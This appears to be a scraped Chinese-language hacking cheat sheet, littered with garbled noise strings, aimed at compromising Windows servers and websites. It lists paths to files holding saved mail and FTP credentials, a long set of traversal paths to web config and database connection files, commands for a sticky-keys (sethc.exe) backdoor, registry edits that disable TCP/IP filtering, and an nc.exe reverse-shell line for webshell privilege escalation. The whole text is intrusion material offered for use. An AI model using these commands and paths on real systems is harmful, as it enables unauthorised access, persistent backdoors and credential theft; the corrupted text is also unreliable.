3 z7 o, D. y3 U$ y- D; wC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
" F0 N. e  r3 P8 f- i; |C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
: P1 N0 }' b, v+ \6 }' B# N5 Z$ X% KC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
2 {4 e9 p4 t: Xc:\Program Files\腾讯游戏\QQGAME\readme.txt
( }% l! e: E7 I$ B: `) @c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
) Z" T- F7 _4 I! {C:\Program Files\StormII\Storm.exe
- n0 G9 K. b, Y" T3 t
( ~' t6 K5 x% H. T- `3.网站相对路径:

/config.php
../../config.php
../config.php
' n+ j5 C' H1 P% T+ [! }../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
) w# r3 ^# [; C6 y$ j, e* w4 \../../../config.inc.php
8 k/ W) |/ r' W+ Y* r/conn.php
./conn.php
" g, C# O; r1 V& j1 r+ X../../conn.php
# h& H3 d! k" {4 D6 `: L* k../conn.php
../../../conn.php
4 ~3 M) O# K! C6 _. b/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
" X' s4 p+ N' X& }+ ]../../config.inc.php
+ S( J: N9 i( y1 b2 D../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
( a: l5 o  K* Y. X../config/config.php
9 ^) D  |/ c* O$ i../../../config/config.php
/config/config.inc.php
% A" [0 i% X9 o: Z9 M./config/config.inc.php
( {9 f) Q( x. }  I6 u% g../../config/config.inc.php
+ V7 z; l4 y: `7 ?+ T% c../config/config.inc.php
- @, m7 _. Z- k../../../config/config.inc.php
/config/conn.php
% b, h, u+ G7 C$ Z  r4 d./config/conn.php
../../config/conn.php
. h+ h, N/ j. H7 i../config/conn.php
../../../config/conn.php
/config/conn.asp
$ |/ _' ?5 e: G6 r& P5 i" Q2 S./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
# x' Z4 o9 `- a# N3 Y. A./config/config.inc.php
../../config/config.inc.php
- c5 M+ m6 e" p) E3 ~5 F/ L% E5 O../config/config.inc.php
../../../config/config.inc.php
0 J! K! o: W+ O/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
# R7 X1 x1 J/ R! D/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
, T" Q% d; D+ ?/ n../../../data/config.inc.php
( q# R5 [- p& ^- G& Q) J/ h6 R/data/conn.php
9 E8 o* T+ J8 H, z+ y! ~4 Y./data/conn.php
../../data/conn.php
../data/conn.php
8 X* t6 p4 F- I6 s* P' Z# m6 C( j4 n../../../data/conn.php
. }; c+ P: @* P! s3 |7 H, m/data/conn.asp
./data/conn.asp
+ s! m: S2 K/ s. E/ i( @0 `$ J../../data/conn.asp
../data/conn.asp
( U' U( a# y$ a! X$ o../../../data/conn.asp
+ T& }( j( ^% v' C( z/data/config.inc.php
7 A! L+ Y6 o3 A6 @: ]" \8 W./data/config.inc.php
7 H1 Z" R8 L3 P! Y) C6 W' P% Z../../data/config.inc.php
+ v- W  i3 q3 n4 p" k../data/config.inc.php
2 U4 d* m& r2 ?8 m' {' V7 K../../../data/config.inc.php
/include/config.php
! \5 q5 T4 ]. \. x; K7 Z2 D../../include/config.php
# w7 u& W1 H8 \$ X2 b../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
, I' z$ \" k4 Y; g; ]7 M# s( Y9 Z../include/conn.php
# [% _$ V3 W! {8 `9 c../../../include/conn.php
- Z9 d! W9 c( E- X: V, j, J/include/conn.asp
./include/conn.asp
../../include/conn.asp
4 H5 k3 }# M. k  u  ?../include/conn.asp
../../../include/conn.asp
( C3 {4 x2 h' z/ a+ Q# {/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
9 T4 R! L$ {6 B9 k5 f../include/config.inc.php
/ }$ p5 S: E; H../../../include/config.inc.php
# \7 t# I1 W8 T1 _# T$ t% |/inc/config.php
../../inc/config.php
../inc/config.php
3 M) I, i2 |$ y4 \% l6 I../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
. Z& Y) s2 h6 s0 d) U2 y/ s9 f../../../inc/config.inc.php
0 X- f# l9 t, q! R' Z/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
* b# q6 w! X3 E/ x: I9 v/inc/conn.asp
$ Q/ q3 R5 X7 ~9 r( }* y  }./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
0 g9 @" Z( O& V2 r6 k6 P../../../inc/conn.asp
8 Z; G* K0 E* M6 A6 d/inc/config.inc.php
& n( f$ ^! P+ \+ \  ^, r0 z./inc/config.inc.php
7 O) j' K( l5 Z, ^$ R1 W' |../../inc/config.inc.php
3 @! [7 h$ L% X! g% x../inc/config.inc.php
3 J, R' w! q; L* N9 @- E5 V../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
% c) b1 D6 x+ A5 u5 [../../../index.php
/index.asp
9 B7 F. {( o- s! c4 D./index.asp
../../index.asp
../index.asp
0 @+ n- F5 U! s1 R../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
: E7 X. S: n0 Y8 F% Q
3 l$ S: d* j1 g　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
$ s3 O6 @& I  c0 \
" E  F# L1 V! _: X' v, d% j　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
+ h9 z: z1 \3 i( r
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
+ S! T8 F7 o8 X9 d5 N5 e; xHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
0 I2 U9 B+ d, l. AHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
3 _* {' u) B5 R3 tregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 y2 m' ]( b6 H  x) Y" d8 Bregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
# }- T' R+ _0 |; Kregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. m% R7 V0 A9 ?$ A% E命令来导出注册表项
1 |& x# h9 W7 N' I  G( S9 h( m1 m
+ R0 y5 `3 e$ I' b# |! V( V3 S% t% @然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
& A. ~- s( I0 b: y( [! L7 p
再将以上三个文件分别用
8 s1 o+ O$ W& l2 {7 I& H2 nregedit -s D:\a.reg
regedit -s D:\b.reg
3 R: ^" [! k- hregedit -s D:\c.reg
导入注册表即可

% y" g" h' ^% k. m8 G$ \webshell提权小技巧
/ Z$ e4 b& n* A* }8 E. b2 Q2 @cmd路径:
c:\windows\temp\cmd.exe
# s+ z- I- r& c; s) j4 l& Lnc也在同目录下
0 b' o" b# |% C/ ^例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
1 f$ ]; r- O  N2 s: b" Z! n9 |通常都不会成功。
9 H4 k7 k; c2 F3 J# X9 P
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
( r& R3 D. q# T& X! G却能成功。。
( g* H2 A7 {& U' r这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功